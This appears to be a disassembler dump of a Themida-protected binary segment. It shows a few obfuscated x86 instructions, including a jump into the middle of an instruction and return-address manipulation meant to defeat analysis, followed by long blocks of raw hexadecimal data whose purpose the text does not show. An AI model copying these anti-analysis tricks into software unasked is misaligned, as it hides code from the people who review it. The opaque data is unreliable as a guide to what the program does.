		and	[ecx-27h], bh
		cmp	eax, 8D31FB58h
		jnz	short near ptr loc_6078FE+1
		rol	dword ptr [edi], 1
		mov	dword ptr [ebp+7D12D55h], 5BD8h
		push	edi
		xor	[ebp+7D103A1h],	ebx
		pop	edx
		mov	dword ptr [ebp+7D11D39h], 0
		push	0
		push	ebx
		call	sub_607901


loc_6078FE:				; CODE XREF: Themida_:006078D6j
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_607901	proc near		; CODE XREF: Themida_:006078F9p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_607901	endp

; ---------------------------------------------------------------------------
		db 8Eh,	14h, 61h
		dd 0C820FA3h, 0F000000h, 680h, 71850300h, 0FF07D110h, 0D12445B5h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 1B37ACE1h, 2B1DB589h, 95FF07D1h,	7D11801h
		dd 12E9h, 8A615D00h, 0F31248C4h, 56F5469Eh, 50418FB4h
		dd 6AF3C37Ah, 5595FF00h, 8B07D100h, 0A72DEBC0h,	55B4849Fh
		dd 0B0626CAFh, 0B262A688h, 61AEAA97h, 0A4C797F5h
dword_607990	dd 13FE9D60h, 0FA53B0B3h, 5F556453h, 0ADE5154Dh, 0A44EB018h
					; DATA XREF: sub_58A891+134EDo
		dd 96F586F9h, 7E8h, 4F576C00h, 0F7B62DB5h, 1809BD8Bh, 815907D1h
		dd 3B08B8F7h, 6FC18109h, 0BF000068h, 6F5F41B7h,	19FE68h
		dd 0FDBA6600h, 8D8958A5h, 7D12081h, 8166318Bh, 819282EFh
		dd 90B68BC6h, 29B52934h, 8107D102h, 1721DBEEh, 298D8966h
		dd 8107D109h, 0A501EBF6h, 0BF318951h, 45632943h, 0E902E983h
		dd 6, 0F4259CADh, 4949684Fh, 1F49958Bh,	0F4807D1h, 0FFFFB785h
		dd 0D18B66FFh, 0D916CAFEh, 5195A831h, 0DE5D8A75h, 0D5ABA831h
		dd 0DE3575EAh, 5693A831h, 5DBA8A75h, 574857AEh,	0DF258A75h
		dd 0D5ABA831h, 0DFEC75EAh, 57BEA831h, 0DC6E8A75h, 5438A831h
		dd 0DCE08A75h, 0D5ABA831h, 2F2575EAh, 0F341BDD4h, 4EC00312h
		dd 0A7537142h, 7B500990h, 0DAD12156h, 2F425306h, 0F34172D4h
		dd 56C00312h, 0A7537142h, 7B53B890h, 0D6D12156h, 2F425306h
		dd 0F34221D4h, 0A2C00312h, 0A7537145h, 7B535490h, 22D12156h
		dd 2F425301h, 0F3438AD4h, 0AEC00312h, 0A7537145h, 7B52E190h
		dd 3ED12156h, 2F425301h, 0F34304D4h, 0BAC00312h, 0A7537145h
		dd 7B526790h, 36D12156h, 2F425301h, 0F34C86D4h,	82C00312h
		dd 0A7537145h, 7B5DED90h, 0ED12156h, 0C3425301h, 2A5012B8h
		dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A59C9EDAh
		dd 2AA8ED96h, 29458A15h, 0E367A024h, 0ADBAB496h, 2A54A1D5h
		dd 64C6CB15h, 0D5BA4155h, 63CE75EAh, 0D393AAEh,	42848DC4h
		dd 2211AB53h, 5D55FFEAh, 3AABA424h, 0C3B9CF9Ch,	0E3A8EDDAh
		dd 0F74586D7h, 0EED744DAh, 0D7CEEAE9h, 26292359h, 0A2B9CFD2h
		dd 6C54A851h, 0A24162ADh, 0EA660351h, 2FEE27BFh, 0F351EEDBh
		dd 12947512h, 0A0D90201h, 0A59C8F53h, 0A1EC79AEh, 941AE51h
		dd 2F1222DCh, 73BA8DCCh, 2ADF1037h, 28C82173h, 2D8DAD17h
		dd 2BFD5BEAh, 81508C15h, 0A7030098h, 0FBABAF88h, 89EFD2A5h
		dd 57DDA42Ch, 0E7CEEBE9h, 229661ADh, 4ECEDF15h,	4AA86CD2h
		dd 0A2458AFDh, 0C0D5F251h, 0A59C9F9Ah, 0A15CDDDAh, 0E7828668h
		dd 2A54A8ADh, 30BACC15h, 2D85BBB8h, 69CE529Eh, 0B99783FCh
		dd 31EFE2A5h, 0A0D9F9FAh, 0A59C8F53h, 9A0D79AEh, 1A232094h
		dd 81328C55h, 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h
		dd 21A90140h, 0C2345495h, 0A2458A15h, 0CCBE290Bh, 29425300h
		dd 57DFA024h, 5E004D19h, 2A54A851h, 4BD77553h, 0A1537942h
		dd 69CE19CDh, 0B9979BFCh, 31EFE2A5h, 0A0D9F9FAh, 0A59C8F53h
		dd 9A0D79AEh, 1A232094h, 81328C65h, 0DF6E2184h,	0D629215Dh
		dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h,	0DFCE8260h
		dd 0D6116F5Dh, 0A2458A15h, 0C9953BFDh, 9197B91Dh, 0F2DE0491h
		dd 0A2454A38h, 0D5A82851h, 0A25E0E1Ah, 23EDA851h, 55458A15h
		dd 25862DA0h, 0A2458690h, 32A32851h, 0AA8E4B73h, 4C972337h
		dd 0AE38A1BEh, 4BA8D5D8h, 6BB9CF9Eh, 7F54A093h,	66C6669Eh
		dd 5FDFC8ADh, 0AE38011Dh, 2AA8ED96h, 0E458A15h,	22B769C2h
		dd 62765826h, 78C22FDh,	0A2458AD5h, 25AB54D1h, 0A2459391h
		dd 2A5D1151h, 53B28A15h, 0AF5B7AD4h, 0A2458A1Fh, 0E25610E0h
		dd 91EF4B93h, 577F0391h, 5E380319h, 0D6112330h,	0A24D48DCh
		dd 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h,	2A54A851h
		dd 229D00B9h, 0E1D4A7B2h, 8860085h, 2F1222DCh, 73BA8DCCh
		dd 0A7FEF8E1h, 7B40CC9Fh, 0A0855756h, 0DF6E20D6h, 0D629215Dh
		dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h,	0DFCE8260h
		dd 0D6116F5Dh, 0A2458A15h, 2A54AFE9h, 0CFD77515h, 26537976h
		dd 28C82045h, 2D8DAD17h, 2BF55BEAh, 86949BFBh, 622E8531h
		dd 8050AC59h, 89EFAEA5h, 57DDA42Ch, 0E7CEEBE9h,	229661ADh
		dd 4ECEDF15h, 4AA86CD2h, 294DFF9Eh, 6F93A42Ch, 0A2458AE9h
		dd 0D5FE0451h, 73566387h, 868C2356h, 2FEF4917h,	0F351EEDBh
		dd 0C4947512h, 4CBD28E9h, 88600BEh, 0A358D57Ah,	29247668h
		dd 0E89D5414h, 29108A1Dh, 0D6902BBDh, 0AA300175h, 0ED58D5DAh
		dd 0A2457650h, 80F8A851h, 0B1AC18EAh, 0E2DFAF80h, 88558B9h
		dd 2F1232DCh, 71BA8DCCh, 0E3941037h, 63CF2173h,	262983FBh
		dd 0C3B9F79Ch, 0E3A8EDDAh, 0F74582D7h, 0EED744DAh, 0D7CEEAE9h
		dd 26292359h, 0A2B9CFD2h, 8654A851h, 4BD775BFh,	0A1537942h
		dd 637726DDh, 6CCE25FBh, 5D425310h, 0AAECCE82h,	28EEECE4h
		dd 577F0290h, 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h
		dd 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h, 6B773273h
		dd 0B0D90337h, 0A59C8F53h, 92327BAEh, 9234B95h,	1FE04FDh
		dd 0DFCC8668h, 6FDFC9ADh, 0AA8743E9h, 0C6DFFD51h, 0C2B94E96h
		dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 24FDEC15h, 0A7FFCEB8h
		dd 7B40CC8Fh, 9A875756h, 0E0320A0h, 6CCE25FBh, 5D425310h
		dd 0ACECCE82h, 89EEECD8h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh
		dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A59C92A2h
		dd 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh
		dd 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh,	13798A15h
		dd 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh
		dd 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 0C6CE2559h, 0F1425306h
		dd 3E9732DCh, 71BA8DCCh, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh
		dd 38C88260h, 2D8DBBADh, 61DF0746h, 0D5537145h,	5E0003C6h
		dd 2A5492B8h, 0AE307515h, 0A75CDDAEh, 7B51828Fh, 0B0D9FB56h
		dd 0A59C9ED6h, 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h
		dd 3E4032DCh, 2F168DCCh, 0F3406BCBh, 2B967512h,	2ABD5414h
		dd 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h, 6E8h, 0F57C7100h
		dd 0E8DD3344h, 9, 0D65E8858h, 974AF39Eh, 0EA8150B2h, 44E956F8h
		dd 0F5F5A59h, 0C781C9B7h, 0DD36h, 371268h, 28A0F00h, 8B000000h
		dd 8BF958D7h, 0D0BF0F1Fh, 83CCC381h, 0BF0F2B84h, 4DEB81D6h
		dd 0F702F50h, 48Dh, 0FEBE6600h,	0B4EB8117h, 8B7551B4h
		dd 8B0F53CAh, 0Dh, 6E8h, 152A5500h, 0F870D4DCh,	66078F5Eh
		dd 0EF83D38Bh, 8E86004h, 0E8000000h, 0F44C5D76h, 0E95BC714h
		dd 5, 9DFBC2BCh, 0CE85E97h, 9000000h, 8DCECA12h, 0AD062F26h
		dd 666CF6FBh, 5EEC09B8h, 850F4861h, 28h, 13E9h,	236EF500h
		dd 0CA9F6D45h, 85BABDA9h, 0B61F2027h, 9AC295F1h, 26E9h
		dd 47E82A00h, 0F6649EE1h, 0CDE1F487h, 0AFA6C981h, 54E94327h
		dd 63FFFFFFh, 9F3C2C19h, 0E62F86C3h, 0BBEFEB36h, 0E85E8023h
		dd 9, 0C49262C6h, 43BC0F90h, 0B70F5FDCh, 66C781D1h, 33000070h
		dd 79D680C9h, 0E93934FFh, 0Ah, 67A8921Eh, 9B6072F2h, 805EB786h
		dd 0EE8140D2h, 562B072Eh, 0ED13BB66h, 0FBF8C681h, 0CA802A67h
		dd 10F6819Dh, 0F6ECC31h, 6656D1BFh, 0FAFDCB81h,	0BB0F048Fh
		dd 58B523B1h, 83D38B66h, 0F98A01E9h, 8A494949h,	14F981D3h
		dd 0FFFFF90h, 0FFFFA785h, 8E9FFh, 398D0000h, 9526A3ABh
		dd 34E97451h, 0E1000000h, 77F1B4h, 0Bh dup(0)
		dd 0E9000000h, 0DB6h, 0D91D8068h, 633EE907h, 8F68FFF8h
		dd 0E907D91Eh, 0FFF86334h, 0D91F4568h, 632AE907h, 0F268FFF8h
		dd 0E907D91Fh, 0FFF86320h, 0D9233B68h, 6316E907h, 1A68FFF8h
		dd 0E907D926h, 0FFF8630Ch, 0D9270268h, 6302E907h, 0FDA1FFF8h
		dd 0F897603h, 1E7764F1h, 276653E0h, 334F3CC9h, 306D28B5h
		dd 55E21E7Ch, 42CF2D68h, 2DBA3455h, 17A44040h, 0A1CC8975h
		dd 231A01CFh, 36225D3Bh, 28B4F479h, 0AA39D012h,	3E23DDBDh
		dd 0C4A96652h, 1228B4h,	0ACEDDA69h, 0ECD9C552h,	0D36A4FADh
		dd 25C4B644h, 0D7A67C39h, 871E19F9h, 0D784E5A2h, 98F819F9h
		dd 0D8A775Ch, 1AC50EF3h, 4DF88AEBh, 54D2DDDEh, 8EF2419Eh
		dd 0DA51D185h, 1DF07FACh, 60h, 6C52CD31h, 0E2F6B982h, 12807553h
		dd 5A1703EFh, 1228B513h, 0B4C0AD6Ah, 6D041228h,	54CD31C8h
		dd 0B71A80CEh, 1A06F281h, 1906E2Dh, 0FA2CC644h,	7311FE19h
		dd 9E83611Fh, 0F4D97007h, 0FA2D3237h, 0B14F4A19h, 47A5DFCCh
		dd 0D9177562h, 46F15DF4h, 7924B6D7h, 0ADA6098Ah, 2437419Eh
		dd 59000000h, 32DABE22h, 8F8527FCh, 0D135C890h,	3BF81A24h
		dd 12292F32h, 7764FB92h, 62F9DE1Ch, 8915BD3h, 217D0000h
		dd 0AD998563h, 28B47DF0h, 21B04712h, 0B3314F3Ch, 7EA9826h
		dd 5BCB2F1Bh, 75DC7B91h, 0EED3296Bh, 7431C057h,	19FA77FAh
		dd 914E33CAh, 19FA77D8h, 2409E7A4h, 0B79C5A37h,	0A6C736E1h
		dd 0F9BA6914h, 419EF4B6h, 2927h, 12804900h, 6C4603EFh
		dd 5819F9DDh, 8CF0DCC1h, 0ACCFA407h, 8542D105h,	19FA5FE4h
		dd 0D8D948F3h, 419EE0D7h, 0BE06h, 63212800h, 0D7B3A085h
		dd 49473419h, 0BBD9C6ABh, 2564513Dh, 0EEAB38C7h, 1228B95Bh
		dd 0F8856321h, 5D1A8D0Bh, 1228BA10h, 2FD4286Ch,	10A74142h
		dd 0E4A08D79h, 0FD8C2308h, 0F9188A18h, 0CDEE500Dh, 3FD619F9h
		dd 937624B2h, 0AF2FEAA7h, 0FE9521CDh, 4D3A2612h, 3AD1B648h
		dd 0CDAEF07Dh, 0AE3DD421h, 9A27C1C1h, 5F254AAEh, 23A20B31h
		dd 0F4736993h, 7302992Fh, 0F5960486h, 42B064FBh, 5EFEB985h
		dd 0ABB0179h, 0FDA10000h, 0F897603h, 1E7764F1h,	276653E0h
		dd 334F3CC9h, 306D28B5h, 55E21E7Ch, 42CF2D68h, 2DBA3455h
		dd 17A44040h, 0A1CC8975h, 231A01D1h, 61215D3Bh,	8F0DFA87h
		dd 8006E471h, 0FDFB9912h, 0F5BD7A66h, 0CF19F9DCh, 0D3965338h
		dd 0A919F9DCh, 3A270CEAh, 0AE4C475Bh, 89463217h, 19F9DCE4h
		dd 12BD49E0h, 45F082E3h, 5DDAD5D6h, 0FDEA419Eh,	0E87F649Ah
		dd 0D78659h, 0AD9A0000h, 0A68413EDh, 552F6321h,	2E1BB297h
		dd 1AB1966Ah, 0EEAB9783h, 1228B47Fh, 3A1FAE45h,	0CEB34D4Dh
		dd 28BA3811h, 0A8444412h, 926E2E1Bh, 8E731FADh,	0CD59E5A2h
		dd 372419F9h, 0CAB69B59h, 0F9CC600Dh, 36CD6419h, 0DE6B02A7h
		dd 0BBF22250h, 39B713CBh, 0EDD9C55Ch, 81668200h, 6A9E5BEAh
		dd 5A21CDE3h, 2EEBD7C3h, 21CDE43Fh, 8BE2185h, 7166C296h
		dd 3C31EEDAh, 8821CE44h, 897662F1h, 7562EF09h, 0F7A40E15h
		dd 4F33A432h, 0A22C04B8h, 8F74FEB8h, 9AC17h, 0F4EC9200h
		dd 0E21E7A67h, 0D12F6855h, 0BA385744h, 0A642402Dh, 6D3F5E19h
		dd 5946D32Dh, 4633C03Eh, 311EAB45h, 66089553h, 0D2B0BD7Ah
		dd 2C141A01h, 8761214Eh, 718F0DFAh, 890BF8E4h, 68F78E73h
		dd 8563218Ah, 17D5B3A0h, 0A65A3E2Bh, 5E3D2AC1h,	9524BBA0h
		dd 47F32B08h, 0DCAB65Bh, 19F9E611h, 0FAB71CB3h,	0C3BF164Eh
		dd 0E786432Fh, 95C3BF15h, 0C259FEF0h, 14F5A533h, 9E5C3B28h
		dd 34C8CCB9h, 65220E9Dh, 0CB901E35h, 9E7A28Fh, 11F68D24h
		dd 6F21783h, 64C50A49h,	0CFCDBAD3h, 1EB54C31h, 0A9474532h
		dd 3D512F1Ch, 590DA45Ah, 3021D085h, 0F66AE2C7h,	0DC000008h
		dd 0C4B13EA2h, 0B29F2CC0h, 0A18E1BD5h, 8A7704E2h, 0A863F008h
		dd 25C3BFF5h, 12E8AB98h, 0FDFB9885h, 0E7058370h, 0FCCB85Ah
		dd 1A01D45Eh, 21A07E66h, 12A08563h, 0A8958160h,	958110ECh
		dd 0F9E606D8h, 3B27BE19h, 26B34D4Eh, 5C495839h,	48DFC438h
		dd 0F9E5E28Bh, 0B44BE219h, 0E65B12CFh, 352219F9h, 4F0C9B55h
		dd 19F9F71Ah, 7137763h,	0F0E9DFD2h, 0CC7CF1AEh,	0B14819F9h
		dd 3E69422h, 0FA805A17h, 0E04421CAh, 812016A6h,	0CAAF46B3h
		dd 74957ADEh, 87018241h, 0E78FDE9Bh, 9E3521CAh,	8662220Fh
		dd 0BFF306D2h, 1795EFEh, 849h, 4914F2Fh, 0F27F7D17h, 0E16E8005h
		dd 0CA5795F4h, 0B643BDDDh, 880AA2FBh, 93F6E370h, 0A6E3D05Dh
		dd 0CECEBB48h, 1703A532h, 1D4135Ah, 0EBC9B11Ah,	3EF1280h
		dd 0F9E29446h, 0B4993019h, 0A22FCDC7h, 381DD3B5h, 0D9BEF3AAh
		dd 0E7A49027h, 19F9E2BEh, 1F836F06h, 97FC8D04h,	63200CD1h
		dd 19F9EC0Ah, 0AF9423BAh, 75AC5B06h, 9350DD13h,	19F9EBD6h
		dd 836F9E05h, 0F9EBCBC6h, 0D562F919h, 629EFCE9h, 6A57E67Dh
		dd 30EDD22Eh, 19F9ED31h, 0CCB14F4Bh, 6045A3DFh,	99FA29D4h
		dd 5FD645F0h, 4D3AC725h, 65C9B54Bh, 8D2214A2h, 0E2C7568Eh
		dd 0FA3A9425h, 92812C19h, 1703F99Bh, 0EC55D4B3h, 13A256FDh
		dd 0F1AE9A86h, 19FA727Ch, 9422B148h, 5512FEEDh,	19FA7315h
		dd 473318AFh, 72CF9E5Bh, 8F519FAh, 49D86F8Dh, 5BD7468Ch
		dd 37E6918Eh, 543976h, 182A4B6h, 80C60000h, 4603EF12h
		dd 19F9D63Ch, 0BB315441h, 0FF9A872Ch, 917E6A01h, 7D14F9F7h
		dd 771502EEh, 1300EC79h, 0FCE97876h, 0BE7B609Ch, 0A140810Dh
		dd 5FD645F0h, 4A36C321h, 0D0F33E5Dh, 3FFBF017h,	8D2409A0h
		dd 757311FEh, 6C9B0290h, 8893F2DFh, 2D6711E6h, 0EF53EACFh
		dd 0CF9F594h, 0F3D86F8Dh, 0DD6A8606h, 6D8304F1h, 5593F1DEh
		dd 8988B370h, 897513CAh, 898DE09Dh, 0A03713CAh,	81B76611h
		dd 8995D895h, 982F13CAh, 2A7C1C09h, 6CF99068h, 0FEE3017Fh
		dd 1DE8AE12h, 0F7FAACEEh, 44A3DA68h, 0C6D29B58h, 5BF213C9h
		dd 47A1E1CEh, 0D22E6E5Bh, 0A9D05E43h, 0B148A4E4h, 0C66908C5h
		dd 6E5B13C9h, 57EED32Dh, 464633C0h, 23BA3654h, 0A966523Eh
		dd 13C9C6C4h, 0C671FCB9h, 0BC5313C9h, 4F18017h,	0DC856A86h
		dd 4D4BC231h, 573522AFh, 0A249AD99h, 292AA69h, 47D5BA49h
		dd 8C5B150h, 13CA156Dh,	4633C057h, 0D1BEAA46h, 0BB5237B1h
		dd 395A472Ch, 0BF56E7F2h, 1FB631D1h, 0E38A4733h, 9913CA17h
		dd 831AFFF9h, 0D3B847DEh, 6CA352FDh, 5643D02Ch,	0E1CEBA36h
		dd 0CE654AA4h, 0D5CC5A3Fh, 28E64A36h, 0AB7DAECAh, 0EEAB9726h
		dd 13CA758Bh, 2815A239h, 0BCA88D6Bh, 0EF111E58h, 61F25694h
		dd 0ED7B0A92h, 284502B6h, 5513CAADh, 0CAACD598h, 0B358EF13h
		dd 0AC630AC7h, 0CA6113CAh, 0F3B09C33h, 13CAAC8Ah, 3816A33Ah
		dd 0F4793622h, 0D01228B4h, 0DFBDAA39h, 44A89421h, 5AA29AA0h
		dd 0A670345Bh, 49E4BB1Fh, 7DF0AD99h, 4712293Fh,	0E79321B0h
		dd 7910ECACh, 89E4A18Dh, 3B12293Fh, 6C2915A4h, 19FA54BAh
		dd 531AD7C3h, 7119FA55h, 0FA64BDAh, 5E4B3723h, 48DFC43Ch
		dd 0FA54E28Bh, 5F4BE219h, 0FA54CBA2h, 0D362F919h, 0BE4BA5E6h
		dd 5136B0D1h, 4632D7C3h, 0D8BD3B59h, 0DAC6B241h, 0C655ABEDh
		dd 0CB85D509h, 8302EF21h, 2CE9CE65h, 21CB963Dh,	6FDDC40h
		dd 0C2EF91D5h, 14F5A533h, 0EE7F3C28h, 0D621CAD9h, 0D8C4B03Fh
		dd 0F7D0DF74h, 0A7646FC4h, 21CB59C6h, 41D067FEh, 9C875684h
		dd 7816E29h, 674C85E9h,	18548388h, 0D1AF9C81h, 0BEEB5F13h
		dd 10F5E66Eh, 50098h, 48B8E600h, 36CACEBBh, 25DBBCA9h
		dd 0EECAB98h, 0FAF69481h, 0C9EBB26Dh, 0B5A22FC9h, 0A28F1CD2h
		dd 8D7A07E1h, 0C264F10Fh, 0D85419D6h, 88701A01h, 0EF1280AAh
		dd 0CC384603h, 0F58C19F9h, 0CC175310h, 15C019F9h, 490AA5E6h
		dd 0CDBA419Eh, 0B74E33CDh, 0C85528h, 51770000h,	1228B548h
		dd 48475334h, 972EC5AAh, 2CC2C5B2h, 2512FE95h, 0B8A58A64h
		dd 0F6851CD8h, 0CC286855h, 1FC6B13Fh, 3F5A4733h, 0EED3296Bh
		dd 44DBC057h, 0B47DF8B5h, 5B471228h, 28B4CF9Eh,	0C75EF512h
		dd 5997F5E2h, 0AC4B3ECCh, 0B47203C0h, 1E0B1228h, 59C817Fh
		dd 553AD176h, 3FCC2868h, 236653h, 0E11F0DA7h, 800FA6B9h
		dd 746087F2h, 2987D2B7h, 0DBBEAB12h, 1AA94025h,	87011175h
		dd 0AD6AF4DDh, 0F5743116h, 0CB12299Ch, 0EE99F120h, 9C78F5B2h
		dd 0B54C1229h, 9C610CC9h, 0CC631229h, 0FD8C4935h, 8012299Ch
		dd 0BADBD81Ch, 93221C79h, 7F6B57EEh, 2928ABC2h,	1E821912h
		dd 0AABFFCBh, 0BB48D7DCh, 0C243h, 35226500h, 22B99E50h
		dd 74950593h, 0E20FCB88h, 51B519F9h, 985E8206h,	4F34CBC7h
		dd 0DA167663h, 0C53B5E4Bh, 15FCAA38h, 0F2056C29h, 28BF19F9h
		dd 0F1E28643h, 4AF519F9h, 6ED5DADBh, 8008419Eh,	2A000000h
		dd 0D9961680h, 1228B494h, 16029930h, 34DA3E2Ah,	0B791A2ADh
		dd 2F07D3Ah, 3DD41229h,	0FF0C97D9h, 8F1ECD79h, 28DB9BD2h
		dd 0AD922912h, 9A27C5C0h, 65229A0Ch, 1228DC08h,	0A28E25BCh
		dd 28DBD4E5h, 1704F012h, 0ABC27F7Dh, 191228DBh,	1A06EB82h
		dd 0AE936D2Dh, 926E2A17h, 1C234603h, 0F29D1229h, 0D63B6B03h
		dd 1C8C2DEAh, 0A1381229h, 2ECAC8B5h, 3926129Fh,	23B9F59h
		dd 10F432FDh, 2232109Fh, 0D9C5235h, 9F846020h, 2A16D2B2h
		dd 0C0A55B3Dh, 5439B7D3h, 0A9726BDh, 0FFEB0E7Ch, 0F9E92C42h
		dd 1C019819h, 0F9E90A5Fh, 0F322CD19h, 9E65FDB2h, 3DE041h
		dd 22020000h, 0B59A5435h, 91018F1Eh, 0B5208470h, 4C0B8DABh
		dd 311D0998h, 9B584344h, 12291AD2h, 35C45BF2h, 0FA433A78h
		dd 0EF38A19h, 0FA431851h, 0E514BF19h, 9EC40BA4h, 0C7D241h
		dd 21F40000h, 0B3A08563h, 483419D7h, 0B4CE9F5Ch, 5FF61228h
		dd 47A5E3D0h, 0D9177562h, 0B9BA8F4Ch, 0C2C21228h, 0D034B0D0h
		dd 0E6605906h, 8916AD3Ah, 1B00FC9Ch, 10FC1D8Dh,	528D40ACh
		dd 4B385013h, 35CCB14Fh, 7DFDBAA6h, 4719FA49h, 0E59523B0h
		dd 6F2B1804h, 0BA9F5D3Bh, 11FD8C23h, 0CE2C2C54h, 15019821h
		dd 7C396A28h, 21CE2BF1h, 0CBD83CD3h, 8713A376h,	0B09C29C0h
		dd 616607C4h, 0C75E21CEh, 0B14F4B38h, 0B86D5FFDh, 0E86045FEh
		dd 221h, 0DC699707h, 0CA5795EFh, 0B946B8DDh, 0A22FCDCCh
		dd 8E1BD5B5h, 0A0E2CAD3h, 0CBCEBB48h, 0DEBBA835h, 0E6A69320h
		dd 0EFDB7D0Ah, 1DB3B32h, 0C3A1891Ah, 0FA876121h, 0E4718F0Dh
		dd 56352206h, 8D1CB398h, 7B1893FFh, 0ECAB987Dh,	0F4E0770Eh
		dd 0F9DD7B37h, 59160219h, 19F9DE14h, 0E58A19B0h, 0BDAC694Eh
		dd 1A19F9DDh, 268A806Fh, 52A306A3h, 5613FF87h, 19FA2217h
		dd 108716ADh, 419EA39Fh, 0BB3Eh, 63216000h, 0EDAC9985h
		dd 4932A0Fh, 9850321Fh,	910348ACh, 9EC9814Bh, 0DC6D2A0Fh
		dd 0A01228D8h, 8B7704E0h, 64DF6C27h, 95829EDDh,	816EFDF3h
		dd 7200E503h, 9F5E100h,	0A0857B1Ch, 84781C09h, 0C94238F5h
		dd 0EB8219FAh, 3FA2D05Eh, 0A78B9653h, 0A23921CEh, 2FC9C9B6h
		dd 1BD5B5A2h, 0B833FF67h, 940CF1FEh, 139h, 0F4817F1Fh
		dd 0E26F8D07h, 0D15E90F5h, 0BA47A5E4h, 0A633CDCDh, 98FAB2EBh
		dd 0A3E6D360h, 0B6D3C04Dh, 0DEBEAB38h, 7F39522h, 1DC234Ah
		dd 0DBB9A11Ah, 75326121h, 1228B4F8h, 119E35CCh,	9C886424h
		dd 3116D4AFh, 0B824369Ah, 3F705402h, 4A3723B0h,	411FAE4Ah
		dd 99856321h, 2C11EFACh, 34210695h, 1F0B9854h, 1B183BBBh
		dd 0B847C89Ah, 0AD99782Ah, 5E0C5DC1h, 6EFF2968h, 0E64822DFh
		dd 48351A01h, 2FC6AB49h, 7F64FBA0h, 69F6F292h, 0A2F4907Dh
		dd 8E250AE6h, 8E7B12F7h, 7910F50Bh, 619FFDEAh, 0F00C8875h
		dd 0E5740Bh, 2A83AE43h,	32CECE8Ah, 0CEF4E94Dh, 0ABE3E4E0h
		dd 3C21DFBEh, 5839E893h, 249C00ECh, 1BAB0E7Fh, 72880BF8h
		dd 0BC67F68Dh, 3AB6D64Dh, 48C5EA4Eh, 0CA67A1D1h, 324C21DEh
		dd 0E1788A2Ah, 0B8D8C552h, 2B6A573Ch, 93203B00h, 0AE45FC98h
		dd 0EDB9DCC9h, 0D8BD54AAh, 694EACEBh, 5839E893h, 0B2D6C3AFh
		dd 0D5C2593Eh, 4AF3EB0h, 827E1E15h, 6C8808F5h, 1B0F87h
		dd 22310000h, 0B69B5535h, 5844901Fh, 0B4BEAF6Ch, 0A2061228h
		dd 0B75DE661h, 0C655EC04h, 837D21E8h, 15D3B19Eh, 0A8464330h
		dd 3DB3D6C3h, 0D12F6B58h, 6583FFECh, 0F6F49380h, 8D632411h
		dd 23D9BBA8h, 0EC836F3Eh, 24348904h, 0C681E689h, 4, 8704EE83h
		dd 515C2434h, 0C181E189h, 4, 4E981h, 0C870000h,	2C895C24h
		dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 0BD240C89h
		dd 4F1D5A71h, 1C581h, 0F74D0000h, 0F2C581D5h, 6856F675h
		dd 2B3Ah, 83242489h, 59042404h,	8904EC83h, 418F242Ch, 240C8B08h
		dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 5D2434FFh, 4C481h
		dd 95E90000h, 0DCFFF855h, 60B833D8h, 307D928h, 35E0FFC5h
		dd 0DB6506F3h, 6D3FC863h, 0A50F4D87h, 0ED758CC5h, 0B01C46E5h
		dd 4D0BC750h, 5060CA04h, 0B65BFD50h, 0FC2F4E9Fh, 837CD567h
		dd 0F4351E2Eh, 0FD792A16h, 0F062FD68h, 446EAAE0h, 4C463E4Dh
		dd 0AD2C3AC9h, 9900D930h, 0F013A0B9h, 0E0750A94h, 381E18E9h
		dd 0B97E24E1h, 196E3258h, 0AA0C96DDh, 90300B4Eh, 0F507D367h
		dd 0F019AF1Ch, 0CC640908h, 0E949D7C5h, 0ECh, 0
		dd 7C810637h, 7C81CE03h, 7C80C058h, 7C901005h, 7C9010EDh
		dd 76F20000h, 2, 5 dup(0)
		dd 7C80ADA0h, 2Ch dup(0)
		dd 6, 0F39C3711h, 0BB4CABABh, 35FC3BF9h, 92156688h, 0E50D6CD6h
		dd 0BE1ACE3Bh, 32156610h, 37A8E571h, 3212B770h,	8F966F57h
		dd 35C44E58h, 620C1288h, 8AD5ED17h, 32156233h, 21C0E398h
		dd 0AF986159h, 35C687F4h, 6A4EB5DDh, 1A5CDB92h,	46156159h
		dd 8A463653h, 32156233h, 21C0E398h, 0AF986159h,	35C6B8DBh
		dd 6A4EB5DDh, 32916971h, 0DA156688h, 32156654h,	47BE3DD8h
		dd 911ABB59h, 51616422h, 43552BE4h, 3215EA2Dh, 534C6611h
		dd 32157461h, 54B29244h, 2CD841EAh, 0A09F99BBh,	0DD7E8AF4h
		dd 64EB947Fh, 0BB46A0ABh, 69CDEFE2h, 3A9469D6h,	52156644h
		dd 8A730742h, 0B174E135h, 0EB3CEC35h, 0B61A6643h, 321566A6h
		dd 321574F8h, 0E78E4388h, 0F2A7D9h, 7E2CF29Eh, 391D9201h
		dd 0BF1BEBAEh, 0EB1CD2C1h, 0DB750625h, 32156619h, 0D0208221h
		dd 12C78FEAh, 0E2EA0743h, 0D690EBE8h, 0DB12BF81h, 32156657h
		dd 782A1622h, 39FBE92Ah, 0EC205E94h, 89B0ADCBh,	0DB46F103h
		dd 32156617h, 0DD5210BAh, 0E2EA2C63h, 32198E42h, 1BCB6611h
		dd 0E986DEB0h, 0EE88B857h, 0E89E8BFEh, 32188F4Bh, 0E6CA6688h
